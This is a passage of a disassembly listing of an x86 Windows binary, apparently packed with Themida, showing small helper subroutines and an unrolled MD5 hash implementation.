jnz short loc_43359C
mov eax, [esi+20h]
mov ecx, 1
cmp eax, ecx
jnz short loc_433597
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_433597: ; CODE XREF: ___:0043358Ej
xor eax, eax
mov [esi+20h], ecx
loc_43359C: ; CODE XREF: ___:00433582j
pop esi
retn
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4335B0 proc near ; CODE XREF: sub_40175Dj
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push 0
push esi
call sub_401758
add esp, 8
test eax, eax
jnz short loc_43363C
call sub_4012E4
; ---------------------------------------------------------------------------
test eax, eax
jnz short loc_4335D4
mov eax, 2
pop esi
retn
; ---------------------------------------------------------------------------
loc_4335D4: ; CODE XREF: sub_4335B0+1Bj
push edi
push esi
push eax
call sub_401A50
add esp, 8
test eax, eax
jz short loc_4335ED
mov edi, 24h
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4335ED: ; CODE XREF: sub_4335B0+31j
cmp dword ptr [esi+20h], 1
jnz short loc_4335FD
mov edi, 16h
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4335FD: ; CODE XREF: sub_4335B0+41j
mov eax, [esi+4]
push eax
call sub_401640
; ---------------------------------------------------------------------------
dw 0F88Bh
dd 8504C483h, 8B2575FFh, 85102444h, 8B0F74C0h, 5150044Eh
dd 0D5B6E890h, 0C085022Fh, 0E8560E74h, 0FFFCE181h, 8B04C483h
dd 0C35E5FC7h, 3BFh, 5FC78B00h
; ---------------------------------------------------------------------------
loc_43363C: ; CODE XREF: sub_4335B0+12j
pop esi
retn
sub_4335B0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_433670 proc near ; CODE XREF: sub_4015FFj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
push 10h
push 1
xor edi, edi
nop
call near ptr 77C2C0C3h
mov esi, eax
add esp, 8
test esi, esi
jnz short loc_433695
mov ecx, [esp+8+arg_0]
pop edi
mov eax, 0Ch
mov [ecx], esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_433695: ; CODE XREF: sub_433670+15j
nop
call near ptr 27307C0h
cmp eax, 0FFFFFFFFh
mov [esi], eax
jnz short loc_4336BE
push esi
mov edi, 0Bh
nop
call near ptr 77C2C21Bh
mov edx, [esp+0Ch+arg_0]
add esp, 4
xor eax, eax
mov [edx], eax
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4336BE: ; CODE XREF: sub_433670+30j
mov eax, [esp+8+arg_4]
test eax, eax
jz short loc_4336DB
mov [esi+4], eax
mov eax, [esp+8+arg_0]
mov dword ptr [esi+8], 0FFFFFFFFh
mov [eax], esi
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4336DB: ; CODE XREF: sub_433670+54j
mov ecx, [esp+8+arg_0]
mov eax, edi
pop edi
mov [ecx], esi
pop esi
retn
sub_433670 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_433710 proc near ; CODE XREF: sub_401AA0j
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
push ebp
xor ebp, ebp
cmp ebx, ebp
jz loc_4337A0
cmp [ebx+0Ch], ebp
jz short loc_43377C
cmp [ebx+4], ebp
jz short loc_43377C
lea eax, [ebx+8]
push eax
call sub_402225
add esp, 4
test eax, eax
jnz short loc_43377C
push esi
mov esi, [ebx+0Ch]
cmp esi, ebp
jz short loc_43376F
push edi
loc_433743: ; CODE XREF: sub_433710+5Cj
push esi
call sub_402225
add esp, 4
test eax, eax
jnz short loc_43376A
mov edi, [esi+10h]
push esi
mov [esi+8], ebp
mov [esi+10h], ebp
call sub_4010C3
push esi
call sub_40105F
add esp, 8
mov esi, edi
loc_43376A: ; CODE XREF: sub_433710+3Ej
cmp esi, ebp
jnz short loc_433743
pop edi
loc_43376F: ; CODE XREF: sub_433710+30j
lea eax, [ebx+8]
push eax
call sub_4010C3
add esp, 4
pop esi
loc_43377C: ; CODE XREF: sub_433710+13j
; sub_433710+18j ...
mov eax, [ebx]
push eax
nop
call near ptr 2730000h
cmp [ebx+4], ebp
jz short loc_433796
lea ecx, [ebx+8]
push ecx
call sub_40222F
add esp, 4
loc_433796: ; CODE XREF: sub_433710+78j
push ebx
nop
call near ptr 77C2C21Bh
add esp, 4
loc_4337A0: ; CODE XREF: sub_433710+Aj
pop ebp
xor eax, eax
pop ebx
retn
sub_433710 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4337E0 proc near ; CODE XREF: sub_4020DBj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, dword_50E3E8
push ebx
mov ebx, [esp+4+arg_4]
push esi
mov esi, [esp+8+arg_0]
cmp esi, eax
jz short loc_433804
call sub_4012E4
; ---------------------------------------------------------------------------
test eax, eax
jnz short loc_433813
pop esi
mov eax, 2
pop ebx
retn
; ---------------------------------------------------------------------------
loc_433804: ; CODE XREF: sub_4337E0+11j
push eax
call sub_401190
; ---------------------------------------------------------------------------
add esp, 4
test eax, eax
jnz short loc_433813
mov eax, ebx
loc_433813: ; CODE XREF: sub_4337E0+1Aj
; sub_4337E0+2Fj
push edi
xor edi, edi
test esi, esi
jz short loc_433875
test eax, eax
jz short loc_433862
mov ecx, [esi+4]
test ecx, ecx
jz short loc_433862
test ebx, ebx
jz short loc_433862
mov ecx, [eax+80h]
test ecx, ecx
mov [esp+0Ch+arg_0], ecx
jz short loc_43384D
loc_433837: ; CODE XREF: sub_4337E0+65j
cmp [ecx+8], esi
jz short loc_433849
mov ecx, [ecx+0Ch]
test ecx, ecx
mov [esp+0Ch+arg_0], ecx
jnz short loc_433837
jmp short loc_43384D
; ---------------------------------------------------------------------------
loc_433849: ; CODE XREF: sub_4337E0+5Aj
test ecx, ecx
jnz short loc_433862
loc_43384D: ; CODE XREF: sub_4337E0+55j
; sub_4337E0+67j
push esi
push eax
lea eax, [esp+14h+arg_0]
push eax
call sub_401DC5
mov edi, eax
add esp, 0Ch
test edi, edi
jnz short loc_433875
loc_433862: ; CODE XREF: sub_4337E0+3Cj
; sub_4337E0+43j ...
mov ecx, [esi]
push ebx
push ecx
call near ptr 2750000h
nop
test eax, eax
jnz short loc_433875
mov edi, 0Bh
loc_433875: ; CODE XREF: sub_4337E0+38j
; sub_4337E0+80j ...
mov eax, edi
pop edi
pop esi
pop ebx
retn
sub_4337E0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4338B0 proc near ; CODE XREF: sub_401190j
push ebx
push esi
push edi
nop
call near ptr 27C0847h
mov esi, eax
call sub_436F5A
sub_4338B0 endp
; ---------------------------------------------------------------------------
dd 448BF88Bh, 88B1024h, 0C8E89051h, 56022ED2h, 0ADE8D88Bh
dd 90022ED4h, 36C4E857h, 8B5F0000h, 0C35B5EC3h, 3 dup(90909090h)
dd 4 dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
sub_433900 proc near ; CODE XREF: sub_401A55j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
xor ecx, ecx
mov [eax+14h], ecx
mov [eax+10h], ecx
mov dword ptr [eax], 67452301h
mov dword ptr [eax+4], 0EFCDAB89h
mov dword ptr [eax+8], 98BADCFEh
mov dword ptr [eax+0Ch], 10325476h
retn
sub_433900 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_433940 proc near ; CODE XREF: sub_401C12j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push ebp
push esi
mov esi, [esp+0Ch+arg_0]
push edi
mov edi, [esp+10h+arg_8]
mov ecx, [esi+10h]
mov eax, ecx
lea edx, ds:0[edi*8]
shr eax, 3
lea ecx, [ecx+edi*8]
and eax, 3Fh
cmp ecx, edx
mov [esi+10h], ecx
jnb short loc_43396B
inc dword ptr [esi+14h]
loc_43396B: ; CODE XREF: sub_433940+26j
mov ebx, [esi+14h]
mov ecx, edi
shr ecx, 1Dh
add ebx, ecx
mov [esi+14h], ebx
mov ebx, 40h
sub ebx, eax
cmp edi, ebx
jb short loc_4339C9
mov edx, [esp+10h+arg_4]
push ebx
lea eax, [eax+esi+18h]
push edx
push eax
call sub_434740
lea ecx, [esi+18h]
push ecx
push esi
call sub_433AB0
mov ebp, ebx
add ebx, 3Fh
add esp, 14h
cmp ebx, edi
jnb short loc_4339C5
loc_4339A9: ; CODE XREF: sub_433940+83j
mov edx, [esp+10h+arg_4]
lea eax, [edx+ebx-3Fh]
push eax
push esi
call sub_433AB0
add ebx, 40h
add esp, 8
add ebp, 40h
cmp ebx, edi
jb short loc_4339A9
loc_4339C5: ; CODE XREF: sub_433940+67j
xor eax, eax
jmp short loc_4339CB
; ---------------------------------------------------------------------------
loc_4339C9: ; CODE XREF: sub_433940+41j
xor ebp, ebp
loc_4339CB: ; CODE XREF: sub_433940+87j
mov ecx, [esp+10h+arg_4]
sub edi, ebp
add ebp, ecx
push edi
lea edx, [eax+esi+18h]
push ebp
push edx
call sub_434740
add esp, 0Ch
pop edi
pop esi
pop ebp
pop ebx
retn
sub_433940 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_433A20 proc near ; CODE XREF: sub_402158j
var_8 = byte ptr -8
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 8
lea eax, [esp+8+var_8]
push esi
push edi
mov edi, [esp+10h+arg_4]
push 8
lea esi, [edi+10h]
push esi
push eax
call sub_434660
mov eax, [esi]
add esp, 0Ch
shr eax, 3
and eax, 3Fh
mov ecx, 38h
cmp eax, 38h
jb short loc_433A53
mov ecx, 78h
loc_433A53: ; CODE XREF: sub_433A20+2Cj
sub ecx, eax
push ecx
push offset aA ; "€"
push edi
call sub_401C12
lea ecx, [esp+1Ch+var_8]
push 8
push ecx
push edi
call sub_401C12
mov edx, [esp+28h+arg_0]
push 10h
push edi
push edx
call sub_434660
push 58h
push 0
push edi
call sub_434770
add esp, 30h
pop edi
pop esi
add esp, 8
retn
sub_433A20 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_433AB0 proc near ; CODE XREF: sub_433940+58p
; sub_433940+73p
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 40h
mov ecx, [esp+40h+arg_4]
push ebx
push ebp
push esi
mov esi, [esp+4Ch+arg_0]
push edi
push 40h
lea edx, [esp+54h+var_40]
mov eax, [esi]
mov edi, [esi+4]
mov ebx, [esi+8]
mov ebp, [esi+0Ch]
push ecx
push edx
mov [esp+5Ch+arg_0], eax
call sub_4346D0
mov eax, edi
mov edx, [esp+5Ch+arg_0]
not eax
mov ecx, ebx
and eax, ebp
and ecx, edi
or eax, ecx
mov ecx, [esp+5Ch+var_40]
add eax, ecx
lea ecx, [edx+eax-28955B88h]
mov edx, edi
mov eax, ecx
shr eax, 19h
shl ecx, 7
or eax, ecx
add eax, edi
mov ecx, eax
and edx, eax
not ecx
and ecx, ebx
or ecx, edx
mov edx, [esp+5Ch+var_3C]
add ecx, edx
lea edx, [ecx+ebp-173848AAh]
mov ecx, edx
shr ecx, 14h
shl edx, 0Ch
or ecx, edx
add ecx, eax
mov edx, ecx
mov ebp, ecx
not edx
and edx, edi
and ebp, eax
or edx, ebp
mov ebp, [esp+5Ch+var_38]
add edx, ebp
mov ebp, ecx
lea ebx, [ebx+edx+242070DBh]
mov edx, ebx
shr edx, 0Fh
shl ebx, 11h
or edx, ebx
add edx, ecx
mov ebx, edx
and ebp, edx
not ebx
and ebx, eax
or ebx, ebp
mov ebp, [esp+5Ch+var_34]
add ebx, ebp
lea ebx, [edi+ebx-3E423112h]
mov edi, ebx
shl edi, 16h
shr ebx, 0Ah
or edi, ebx
mov ebx, edx
add edi, edx
mov [esp+5Ch+arg_0], edi
mov ebp, [esp+5Ch+arg_0]
not edi
and edi, ecx
and ebx, ebp
mov ebp, [esp+5Ch+var_30]
or edi, ebx
add edi, ebp
mov ebx, [esp+5Ch+arg_0]
mov ebp, ebx
lea eax, [eax+edi-0A83F051h]
mov edi, eax
shr edi, 19h
shl eax, 7
or edi, eax
add edi, ebx
mov eax, edi
and ebp, edi
not eax
and eax, edx
or eax, ebp
mov ebp, [esp+5Ch+var_2C]
add eax, ebp
lea ecx, [ecx+eax+4787C62Ah]
mov eax, ecx
shr eax, 14h
shl ecx, 0Ch
or eax, ecx
add eax, edi
mov ecx, eax
mov ebp, eax
not ecx
and ecx, ebx
and ebp, edi
or ecx, ebp
mov ebp, [esp+5Ch+var_28]
add ecx, ebp
mov ebp, eax
lea edx, [edx+ecx-57CFB9EDh]
mov ecx, edx
shr ecx, 0Fh
shl edx, 11h
or ecx, edx
add ecx, eax
mov edx, ecx
and ebp, ecx
not edx
and edx, edi
or edx, ebp
mov ebp, [esp+5Ch+var_24]
add edx, ebp
lea ebx, [ebx+edx-2B96AFFh]
mov edx, ebx
shl edx, 16h
shr ebx, 0Ah
or edx, ebx
mov ebx, ecx
add edx, ecx
mov [esp+5Ch+arg_0], edx
mov ebp, [esp+5Ch+arg_0]
not edx
and edx, eax
and ebx, ebp
mov ebp, [esp+5Ch+var_20]
or edx, ebx
add edx, ebp
mov ebx, [esp+5Ch+arg_0]
mov ebp, ebx
lea edi, [edi+edx+698098D8h]
mov edx, edi
shr edx, 19h
shl edi, 7
or edx, edi
add edx, ebx
mov edi, edx
and ebp, edx
not edi
and edi, ecx
or edi, ebp
mov ebp, [esp+5Ch+var_1C]
add edi, ebp
lea eax, [eax+edi-74BB0851h]
mov edi, eax
shr edi, 14h
shl eax, 0Ch
or edi, eax
add edi, edx
mov eax, edi
not eax
mov ebp, edi
and eax, ebx
and ebp, edx
or eax, ebp
mov ebp, [esp+5Ch+var_18]
add eax, ebp
mov ebp, edi
lea ecx, [ecx+eax-0A44Fh]
mov eax, ecx
shr eax, 0Fh
shl ecx, 11h
or eax, ecx
add eax, edi
mov ecx, eax
and ebp, eax
not ecx
and ecx, edx
or ecx, ebp
mov ebp, [esp+5Ch+var_14]
add ecx, ebp
lea ebx, [ebx+ecx-76A32842h]
mov ecx, ebx
shl ecx, 16h
shr ebx, 0Ah
or ecx, ebx
mov ebx, eax
add ecx, eax
mov [esp+5Ch+arg_0], ecx
mov ebp, [esp+5Ch+arg_0]
not ecx
and ecx, edi
and ebx, ebp
mov ebp, [esp+5Ch+var_10]
or ecx, ebx
add ecx, ebp
mov ebx, [esp+5Ch+arg_0]
mov ebp, ebx
lea edx, [edx+ecx+6B901122h]
mov ecx, edx
shr ecx, 19h
shl edx, 7
or ecx, edx
add ecx, ebx
mov edx, ecx
and ebp, ecx
not edx
and edx, eax
or edx, ebp
mov ebp, [esp+5Ch+var_C]
add edx, ebp
lea edi, [edi+edx-2678E6Dh]
mov edx, edi
shr edx, 14h
shl edi, 0Ch
or edx, edi
add edx, ecx
mov ebp, edx
mov edi, edx
not ebp
and edi, ecx
and ebx, ebp
or edi, ebx
mov ebx, [esp+5Ch+var_8]
add edi, ebx
mov ebx, edx
lea eax, [eax+edi-5986BC72h]
mov edi, eax
shr edi, 0Fh
shl eax, 11h
or edi, eax
add edi, edx
mov eax, edi
and ebx, edi
not eax
mov [esp+5Ch+arg_4], eax
and eax, ecx
or eax, ebx
mov ebx, [esp+5Ch+var_4]
add eax, ebx
mov ebx, [esp+5Ch+arg_0]
lea ebx, [ebx+eax+49B40821h]
mov eax, ebx
shl eax, 16h
shr ebx, 0Ah
or eax, ebx
mov ebx, edx
add eax, edi
mov [esp+5Ch+arg_0], eax
and ebx, eax
mov eax, edi
and eax, ebp
mov ebp, [esp+5Ch+var_3C]
or ebx, eax
add ebx, ebp
mov ebp, edi
lea ecx, [ecx+ebx-9E1DA9Eh]
mov ebx, [esp+5Ch+arg_0]
mov eax, ecx
shr eax, 1Bh
shl ecx, 5
or eax, ecx
mov ecx, [esp+5Ch+arg_4]
add eax, ebx
and ecx, ebx
and ebp, eax
or ecx, ebp
mov ebp, [esp+5Ch+var_28]
add ecx, ebp
mov ebp, [esp+5Ch+arg_0]
not ebx
lea edx, [edx+ecx-3FBF4CC0h]
and ebx, eax
mov ecx, edx
shr ecx, 17h
shl edx, 9
or ecx, edx
add ecx, eax
mov edx, ecx
and edx, ebp
mov ebp, [esp+5Ch+var_14]
or ebx, edx
add ebx, ebp
lea edi, [edi+ebx+265E5A51h]
mov edx, edi
shr edx, 12h
shl edi, 0Eh
or edx, edi
mov edi, eax
add edx, ecx
not edi
mov ebx, edx
and edi, ecx
and ebx, eax
or edi, ebx
mov ebx, [esp+5Ch+var_40]
add edi, ebx
mov ebx, [esp+5Ch+arg_0]
lea ebx, [ebx+edi-16493856h]
mov edi, ebx
shl edi, 14h
shr ebx, 0Ch
or edi, ebx
mov ebx, ecx
add edi, edx
mov [esp+5Ch+arg_0], edi
mov edi, ecx
mov ebp, [esp+5Ch+arg_0]
not edi
and edi, edx
and ebx, ebp
mov ebp, [esp+5Ch+var_2C]
or edi, ebx
add edi, ebp
mov ebx, [esp+5Ch+arg_0]
lea eax, [eax+edi-29D0EFA3h]
mov edi, eax
shr edi, 1Bh
shl eax, 5
or edi, eax
mov eax, edx
add edi, ebx
not eax
mov ebp, edx
and eax, ebx
and ebp, edi
or eax, ebp
mov ebp, [esp+5Ch+var_18]
add eax, ebp
mov ebp, [esp+5Ch+arg_0]
not ebx
lea ecx, [ecx+eax+2441453h]
and ebx, edi
mov eax, ecx
shr eax, 17h
shl ecx, 9
or eax, ecx
add eax, edi
mov ecx, eax
and ecx, ebp
mov ebp, [esp+5Ch+var_4]
or ebx, ecx
add ebx, ebp
lea edx, [edx+ebx-275E197Fh]
mov ecx, edx
shr ecx, 12h
shl edx, 0Eh
or ecx, edx
mov edx, edi
add ecx, eax
not edx
mov ebx, ecx
and edx, eax
and ebx, edi
or edx, ebx
mov ebx, [esp+5Ch+var_30]
add edx, ebx
mov ebx, [esp+5Ch+arg_0]
lea ebx, [ebx+edx-182C0438h]
mov edx, ebx
shl edx, 14h
shr ebx, 0Ch
or edx, ebx
mov ebx, eax
add edx, ecx
mov [esp+5Ch+arg_0], edx
mov edx, eax
mov ebp, [esp+5Ch+arg_0]
not edx
and edx, ecx
and ebx, ebp
mov ebp, [esp+5Ch+var_1C]
or edx, ebx
add edx, ebp
mov ebx, [esp+5Ch+arg_0]
mov ebp, ecx
lea edi, [edi+edx+21E1CDE6h]
mov edx, edi
shr edx, 1Bh
shl edi, 5
or edx, edi
mov edi, ecx
add edx, ebx
not edi
and edi, ebx
and ebp, edx
or edi, ebp
mov ebp, [esp+5Ch+var_8]
add edi, ebp
mov ebp, [esp+5Ch+arg_0]
not ebx
lea eax, [eax+edi-3CC8F82Ah]
and ebx, edx
mov edi, eax
shr edi, 17h
shl eax, 9
or edi, eax
add edi, edx
mov eax, edi
and eax, ebp
mov ebp, [esp+5Ch+var_34]
or ebx, eax
add ebx, ebp
lea ecx, [ecx+ebx-0B2AF279h]
mov eax, ecx
shr eax, 12h
shl ecx, 0Eh
or eax, ecx
mov ecx, edx
add eax, edi
not ecx
mov ebx, eax
and ecx, edi
and ebx, edx
or ecx, ebx
mov ebx, [esp+5Ch+var_20]
add ecx, ebx
mov ebx, [esp+5Ch+arg_0]
lea ebx, [ebx+ecx+455A14EDh]
mov ecx, ebx
shl ecx, 14h
shr ebx, 0Ch
or ecx, ebx
mov ebx, edi
add ecx, eax
mov [esp+5Ch+arg_0], ecx
mov ecx, edi
mov ebp, [esp+5Ch+arg_0]
not ecx
and ecx, eax
and ebx, ebp
mov ebp, [esp+5Ch+var_C]
or ecx, ebx
add ecx, ebp
mov ebx, [esp+5Ch+arg_0]
mov ebp, eax
lea edx, [edx+ecx-561C16FBh]
mov ecx, edx
shr ecx, 1Bh
shl edx, 5
or ecx, edx
mov edx, eax
add ecx, ebx
not edx
and edx, ebx
and ebp, ecx
or edx, ebp
mov ebp, [esp+5Ch+var_38]
add edx, ebp
mov ebp, [esp+5Ch+arg_0]
not ebx
lea edi, [edi+edx-3105C08h]
and ebx, ecx
mov edx, edi
shr edx, 17h
shl edi, 9
or edx, edi
add edx, ecx
mov edi, edx
and edi, ebp
mov ebp, [esp+5Ch+var_24]
or ebx, edi
add ebx, ebp
lea eax, [eax+ebx+676F02D9h]
mov edi, eax
shr edi, 12h
shl eax, 0Eh
or edi, eax
mov eax, ecx
add edi, edx
not eax
mov ebx, edi
and eax, edx
and ebx, ecx
or eax, ebx
mov ebx, [esp+5Ch+var_10]
add eax, ebx
mov ebx, [esp+5Ch+arg_0]
lea ebx, [ebx+eax-72D5B376h]
mov eax, ebx
shl eax, 14h
shr ebx, 0Ch
or eax, ebx
add eax, edi
mov ebp, [esp+5Ch+var_2C]
mov ebx, edx
xor ebx, edi
xor ebx, eax
add ebx, ebp
mov ebp, [esp+5Ch+var_20]
lea ecx, [ecx+ebx-5C6BEh]
mov ebx, ecx
shr ebx, 1Ch
shl ecx, 4
or ebx, ecx
mov ecx, edi
add ebx, eax
xor ecx, eax
xor ecx, ebx
add ecx, ebp
mov ebp, [esp+5Ch+var_14]
lea ecx, [edx+ecx-788E097Fh]
mov edx, ecx
shr edx, 15h
shl ecx, 0Bh
or edx, ecx
add edx, ebx
mov ecx, edx
xor ecx, eax
xor ecx, ebx
add ecx, ebp
mov ebp, [esp+5Ch+var_8]
lea ecx, [edi+ecx+6D9D6122h]
mov edi, ecx
shr edi, 10h
shl ecx, 10h
or edi, ecx
mov ecx, edx
add edi, edx
xor ecx, edi
mov [esp+5Ch+arg_0], ecx
xor ecx, ebx
add ecx, ebp
mov ebp, [esp+5Ch+var_3C]
lea eax, [eax+ecx-21AC7F4h]
mov ecx, eax
shl ecx, 17h
shr eax, 9
or ecx, eax
mov eax, [esp+5Ch+arg_0]
add ecx, edi
xor eax, ecx
add eax, ebp
mov ebp, [esp+5Ch+var_30]
lea ebx, [ebx+eax-5B4115BCh]
mov eax, ebx
shr eax, 1Ch
shl ebx, 4
or eax, ebx
mov ebx, edi
add eax, ecx
xor ebx, ecx
xor ebx, eax
add ebx, ebp
mov ebp, [esp+5Ch+var_24]
lea edx, [edx+ebx+4BDECFA9h]
mov ebx, edx
shr ebx, 15h
shl edx, 0Bh
or ebx, edx
add ebx, eax
mov edx, ebx
xor edx, ecx
xor edx, eax
add edx, ebp
lea edi, [edi+edx-944B4A0h]
mov edx, edi
shr edx, 10h
shl edi, 10h
or edx, edi
mov edi, ebx
add edx, ebx
xor edi, edx
mov ebp, edi
xor ebp, eax
add ebp, [esp+5Ch+var_18]
lea ebp, [ecx+ebp-41404390h]
mov ecx, ebp
shl ecx, 17h
shr ebp, 9
or ecx, ebp
mov ebp, [esp+5Ch+var_C]
add ecx, edx
xor edi, ecx
add edi, ebp
mov ebp, [esp+5Ch+var_40]
lea edi, [eax+edi+289B7EC6h]
mov eax, edi
shr eax, 1Ch
shl edi, 4
or eax, edi
mov edi, edx
add eax, ecx
xor edi, ecx
xor edi, eax
add edi, ebp
mov ebp, [esp+5Ch+var_34]
lea ebx, [ebx+edi-155ED806h]
mov edi, ebx
shr edi, 15h
shl ebx, 0Bh
or edi, ebx
add edi, eax
mov ebx, edi
xor ebx, ecx
xor ebx, eax
add ebx, ebp
lea edx, [edx+ebx-2B10CF7Bh]
mov ebx, edx
shr ebx, 10h
shl edx, 10h
or ebx, edx
mov edx, edi
add ebx, edi
xor edx, ebx
mov ebp, edx
xor ebp, eax
add ebp, [esp+5Ch+var_28]
lea ebp, [ecx+ebp+4881D05h]
mov ecx, ebp
shl ecx, 17h
shr ebp, 9
or ecx, ebp
mov ebp, [esp+5Ch+var_1C]
add ecx, ebx
xor edx, ecx
add edx, ebp
lea edx, [eax+edx-262B2FC7h]
mov eax, edx
shr eax, 1Ch
shl edx, 4
or eax, edx
mov edx, ebx
add eax, ecx
xor edx, ecx
xor edx, eax
add edx, [esp+5Ch+var_10]
lea edi, [edi+edx-1924661Bh]
mov edx, edi
shr edx, 15h
shl edi, 0Bh
or edx, edi
add edx, eax
mov edi, edx
xor edi, ecx
xor edi, eax
add edi, [esp+5Ch+var_4]
lea ebx, [ebx+edi+1FA27CF8h]
mov edi, ebx
shr edi, 10h
shl ebx, 10h
or edi, ebx
mov ebx, edx
add edi, edx
xor ebx, edi
xor ebx, eax
add ebx, [esp+5Ch+var_38]
lea ecx, [ecx+ebx-3B53A99Bh]
mov ebx, ecx
shl ebx, 17h
shr ecx, 9
or ebx, ecx
mov ecx, edx
add ebx, edi
not ecx
or ecx, ebx
xor ecx, edi
add ecx, [esp+5Ch+var_40]
lea eax, [eax+ecx-0BD6DDBCh]
mov ecx, eax
shr ecx, 1Ah
shl eax, 6
or ecx, eax
mov eax, edi
add ecx, ebx
not eax
or eax, ecx
xor eax, ebx
add eax, [esp+5Ch+var_24]
lea edx, [edx+eax+432AFF97h]
mov eax, edx
shr eax, 16h
shl edx, 0Ah
or eax, edx
mov edx, ebx
add eax, ecx
not edx
or edx, eax
xor edx, ecx
add edx, [esp+5Ch+var_8]
lea edi, [edi+edx-546BDC59h]
mov edx, edi
shr edx, 11h
shl edi, 0Fh
or edx, edi
mov edi, ecx
add edx, eax
not edi
or edi, edx
xor edi, eax
add edi, [esp+5Ch+var_2C]
lea ebx, [ebx+edi-36C5FC7h]
mov edi, ebx
shl edi, 15h
shr ebx, 0Bh
or edi, ebx
mov ebx, eax
add edi, edx
not ebx
or ebx, edi
xor ebx, edx
add ebx, [esp+5Ch+var_10]
lea ecx, [ecx+ebx+655B59C3h]
mov ebx, ecx
shr ebx, 1Ah
shl ecx, 6
or ebx, ecx
mov ecx, edx
add ebx, edi
not ecx
or ecx, ebx
xor ecx, edi
add ecx, [esp+5Ch+var_34]
lea eax, [eax+ecx-70F3336Eh]
mov ecx, eax
shr ecx, 16h
shl eax, 0Ah
or ecx, eax
mov eax, edi
add ecx, ebx
not eax
or eax, ecx
xor eax, ebx
add eax, [esp+5Ch+var_18]
lea edx, [edx+eax-100B83h]
mov eax, edx
shr eax, 11h
shl edx, 0Fh
or eax, edx
mov edx, ebx
add eax, ecx
not edx
or edx, eax
xor edx, ecx
add edx, [esp+5Ch+var_3C]
lea edi, [edi+edx-7A7BA22Fh]
mov edx, edi
shl edx, 15h
shr edi, 0Bh
or edx, edi
mov edi, ecx
add edx, eax
not edi
or edi, edx
xor edi, eax
add edi, [esp+5Ch+var_20]
lea ebx, [ebx+edi+6FA87E4Fh]
mov edi, ebx
shr edi, 1Ah
shl ebx, 6
or edi, ebx
mov ebx, eax
add edi, edx
not ebx
or ebx, edi
xor ebx, edx
add ebx, [esp+5Ch+var_4]
lea ecx, [ecx+ebx-1D31920h]
mov ebx, ecx
shr ebx, 16h
shl ecx, 0Ah
or ebx, ecx
mov ecx, edx
add ebx, edi
not ecx
or ecx, ebx
xor ecx, edi
add ecx, [esp+5Ch+var_28]
lea eax, [eax+ecx-5CFEBCECh]
mov ecx, eax
shr ecx, 11h
shl eax, 0Fh
or ecx, eax
mov eax, edi
add ecx, ebx
not eax
or eax, ecx
xor eax, ebx
add eax, [esp+5Ch+var_C]
lea edx, [edx+eax+4E0811A1h]
mov eax, edx
shl eax, 15h
shr edx, 0Bh
or eax, edx
mov edx, ebx
add eax, ecx
not edx
or edx, eax
xor edx, ecx
add edx, [esp+5Ch+var_30]
lea edi, [edi+edx-8AC817Eh]
mov edx, edi
shr edx, 1Ah
shl edi, 6
or edx, edi
mov edi, ecx
add edx, eax
not edi
or edi, edx
xor edi, eax
add edi, [esp+5Ch+var_14]
lea ebx, [ebx+edi-42C50DCBh]
mov edi, ebx
shr edi, 16h
shl ebx, 0Ah
or edi, ebx
mov ebx, eax
add edi, edx
not ebx
or ebx, edi
push 40h
xor ebx, edx
push 0
add ebx, [esp+64h+var_38]
lea ecx, [ecx+ebx+2AD7D2BBh]
mov ebx, ecx
shr ebx, 11h
shl ecx, 0Fh
or ebx, ecx
mov ecx, edx
add ebx, edi
not ecx
or ecx, ebx
xor ecx, edi
add ecx, ebp
mov ebp, [esi+8]
add ebp, ebx
lea eax, [eax+ecx-14792C6Fh]
mov ecx, [esi]
add ecx, edx
mov edx, eax
shl edx, 15h
shr eax, 0Bh
or edx, eax
mov eax, [esi+4]
add edx, ebx
mov ebx, [esi+0Ch]
add eax, edx
add ebx, edi
mov [esi+4], eax
lea eax, [esp+64h+var_40]
push eax
mov [esi], ecx
mov [esi+8], ebp
mov [esi+0Ch], ebx
call sub_434770
add esp, 18h
pop edi
pop esi
pop ebp
pop ebx
add esp, 40h
retn
sub_433AB0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 21h dup(0CCh)
byte_434421 db 23Fh dup(0CCh) ; DATA XREF: Themida_:00598529o
; =============== S U B R O U T I N E =======================================
